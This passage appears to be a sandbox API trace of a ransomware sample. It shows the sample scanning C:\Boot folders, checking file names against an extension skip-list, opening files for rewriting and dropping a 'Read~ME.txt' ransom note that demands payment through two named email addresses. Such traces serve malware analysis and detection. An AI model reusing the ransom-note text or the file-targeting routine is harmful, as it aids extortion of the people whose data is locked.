	[0061.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cca8 | out: hHeap=0x300000) returned 1
	[0061.993] RtlWakeConditionVariable () returned 0x365f70
	[0061.993] GetCurrentThreadId () returned 0x3a4
	[0061.993] GetCurrentThreadId () returned 0x3a4
	[0061.993] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.994] GetCurrentThreadId () returned 0x3a4
	[0061.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0061.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357170 | out: hHeap=0x300000) returned 1
	[0061.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357170
	[0061.994] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\Read~ME.txt" (normalized: "c:\\boot\\de-de\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0061.994] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0061.994] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0061.995] CloseHandle (hObject=0x110) returned 1
	[0061.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357170 | out: hHeap=0x300000) returned 1
	[0061.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0061.996] RtlWakeConditionVariable () returned 0x365f70
	[0061.996] GetCurrentThreadId () returned 0x3a4
	[0061.996] GetCurrentThreadId () returned 0x3a4
	[0061.996] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0061.999] GetCurrentThreadId () returned 0x3a4
	[0061.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39cca8
	[0061.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0061.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0061.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0061.999] lstrlenW (lpString=".scr") returned 4
	[0061.999] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0061.999] lstrlenW (lpString=".cmd") returned 4
	[0061.999] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0061.999] lstrlenW (lpString=".dll") returned 4
	[0061.999] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0061.999] lstrlenW (lpString=".bat") returned 4
	[0062.000] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.000] lstrlenW (lpString=".cpl") returned 4
	[0062.000] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.000] lstrlenW (lpString=".sys") returned 4
	[0062.000] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.000] lstrlenW (lpString=".msc") returned 4
	[0062.000] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.000] lstrlenW (lpString=".com") returned 4
	[0062.000] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.000] lstrlenW (lpString=".lnk") returned 4
	[0062.000] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.000] lstrlenW (lpString=".msp") returned 4
	[0062.000] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.000] lstrlenW (lpString=".pif") returned 4
	[0062.000] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.000] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.000] StrStrW (lpFirst="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.000] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cca8 | out: hHeap=0x300000) returned 1
	[0062.001] RtlWakeConditionVariable () returned 0x365f70
	[0062.001] GetCurrentThreadId () returned 0x3a4
	[0062.001] GetCurrentThreadId () returned 0x3a4
	[0062.001] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.002] GetCurrentThreadId () returned 0x3a4
	[0062.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357170
	[0062.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0062.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0062.002] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\Read~ME.txt" (normalized: "c:\\boot\\el-gr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.002] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.002] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.003] CloseHandle (hObject=0x110) returned 1
	[0062.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0062.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357170 | out: hHeap=0x300000) returned 1
	[0062.004] RtlWakeConditionVariable () returned 0x365f70
	[0062.004] GetCurrentThreadId () returned 0x3a4
	[0062.004] GetCurrentThreadId () returned 0x3a4
	[0062.004] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.007] GetCurrentThreadId () returned 0x3a4
	[0062.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39cca8
	[0062.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.007] lstrlenW (lpString=".scr") returned 4
	[0062.007] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.007] lstrlenW (lpString=".cmd") returned 4
	[0062.007] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.007] lstrlenW (lpString=".dll") returned 4
	[0062.007] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.007] lstrlenW (lpString=".bat") returned 4
	[0062.007] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.007] lstrlenW (lpString=".cpl") returned 4
	[0062.007] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.007] lstrlenW (lpString=".sys") returned 4
	[0062.007] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.007] lstrlenW (lpString=".msc") returned 4
	[0062.007] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.008] lstrlenW (lpString=".com") returned 4
	[0062.008] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.008] lstrlenW (lpString=".lnk") returned 4
	[0062.008] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.008] lstrlenW (lpString=".msp") returned 4
	[0062.008] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.008] lstrlenW (lpString=".pif") returned 4
	[0062.008] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.008] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.008] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.008] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cca8 | out: hHeap=0x300000) returned 1
	[0062.008] RtlWakeConditionVariable () returned 0x365f70
	[0062.008] GetCurrentThreadId () returned 0x3a4
	[0062.008] GetCurrentThreadId () returned 0x3a4
	[0062.008] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.009] GetCurrentThreadId () returned 0x3a4
	[0062.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39cca8
	[0062.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.009] lstrlenW (lpString=".scr") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".scr") returned 0x0
	[0062.009] lstrlenW (lpString=".cmd") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.009] lstrlenW (lpString=".dll") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".dll") returned 0x0
	[0062.009] lstrlenW (lpString=".bat") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".bat") returned 0x0
	[0062.009] lstrlenW (lpString=".cpl") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.009] lstrlenW (lpString=".sys") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".sys") returned 0x0
	[0062.009] lstrlenW (lpString=".msc") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".msc") returned 0x0
	[0062.009] lstrlenW (lpString=".com") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".com") returned 0x0
	[0062.009] lstrlenW (lpString=".lnk") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.009] lstrlenW (lpString=".msp") returned 4
	[0062.009] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".msp") returned 0x0
	[0062.010] lstrlenW (lpString=".pif") returned 4
	[0062.010] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch=".pif") returned 0x0
	[0062.010] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.010] StrStrW (lpFirst="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.010] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cca8 | out: hHeap=0x300000) returned 1
	[0062.010] RtlWakeConditionVariable () returned 0x365f70
	[0062.010] GetCurrentThreadId () returned 0x3a4
	[0062.010] GetCurrentThreadId () returned 0x3a4
	[0062.010] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.010] GetCurrentThreadId () returned 0x3a4
	[0062.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0062.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357170 | out: hHeap=0x300000) returned 1
	[0062.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357170
	[0062.011] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\Read~ME.txt" (normalized: "c:\\boot\\en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.011] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.011] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.013] CloseHandle (hObject=0x110) returned 1
	[0062.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357170 | out: hHeap=0x300000) returned 1
	[0062.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0062.013] RtlWakeConditionVariable () returned 0x365f70
	[0062.013] GetCurrentThreadId () returned 0x3a4
	[0062.013] GetCurrentThreadId () returned 0x3a4
	[0062.013] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.072] GetCurrentThreadId () returned 0x3a4
	[0062.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39da68
	[0062.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.072] lstrlenW (lpString=".scr") returned 4
	[0062.072] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.072] lstrlenW (lpString=".cmd") returned 4
	[0062.072] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.072] lstrlenW (lpString=".dll") returned 4
	[0062.072] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.072] lstrlenW (lpString=".bat") returned 4
	[0062.072] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.072] lstrlenW (lpString=".cpl") returned 4
	[0062.072] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.072] lstrlenW (lpString=".sys") returned 4
	[0062.072] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.072] lstrlenW (lpString=".msc") returned 4
	[0062.072] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.072] lstrlenW (lpString=".com") returned 4
	[0062.072] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.073] lstrlenW (lpString=".lnk") returned 4
	[0062.073] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.073] lstrlenW (lpString=".msp") returned 4
	[0062.073] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.073] lstrlenW (lpString=".pif") returned 4
	[0062.073] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.073] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.073] StrStrW (lpFirst="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.073] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39da68 | out: hHeap=0x300000) returned 1
	[0062.073] RtlWakeConditionVariable () returned 0x365f70
	[0062.073] GetCurrentThreadId () returned 0x3a4
	[0062.073] GetCurrentThreadId () returned 0x3a4
	[0062.073] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.080] GetCurrentThreadId () returned 0x3a4
	[0062.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0062.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0062.080] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\Read~ME.txt" (normalized: "c:\\boot\\fi-fi\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.144] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.144] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.145] CloseHandle (hObject=0x110) returned 1
	[0062.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0062.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.146] RtlWakeConditionVariable () returned 0x365f70
	[0062.146] GetCurrentThreadId () returned 0x3a4
	[0062.146] GetCurrentThreadId () returned 0x3a4
	[0062.146] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.237] GetCurrentThreadId () returned 0x3a4
	[0062.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.237] lstrlenW (lpString=".scr") returned 4
	[0062.237] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".scr") returned 0x0
	[0062.237] lstrlenW (lpString=".cmd") returned 4
	[0062.237] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".cmd") returned 0x0
	[0062.237] lstrlenW (lpString=".dll") returned 4
	[0062.237] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".dll") returned 0x0
	[0062.237] lstrlenW (lpString=".bat") returned 4
	[0062.237] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".bat") returned 0x0
	[0062.238] lstrlenW (lpString=".cpl") returned 4
	[0062.238] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".cpl") returned 0x0
	[0062.238] lstrlenW (lpString=".sys") returned 4
	[0062.238] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".sys") returned 0x0
	[0062.238] lstrlenW (lpString=".msc") returned 4
	[0062.238] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".msc") returned 0x0
	[0062.238] lstrlenW (lpString=".com") returned 4
	[0062.238] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".com") returned 0x0
	[0062.238] lstrlenW (lpString=".lnk") returned 4
	[0062.238] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".lnk") returned 0x0
	[0062.238] lstrlenW (lpString=".msp") returned 4
	[0062.238] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".msp") returned 0x0
	[0062.238] lstrlenW (lpString=".pif") returned 4
	[0062.238] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch=".pif") returned 0x0
	[0062.238] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.238] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf", lpSrch="msp\r\n.pif") returned 0x0
	[0062.238] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.238] RtlWakeConditionVariable () returned 0x365f70
	[0062.238] GetCurrentThreadId () returned 0x3a4
	[0062.239] GetCurrentThreadId () returned 0x3a4
	[0062.239] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.258] GetCurrentThreadId () returned 0x3a4
	[0062.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.258] lstrlenW (lpString=".scr") returned 4
	[0062.258] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.258] lstrlenW (lpString=".cmd") returned 4
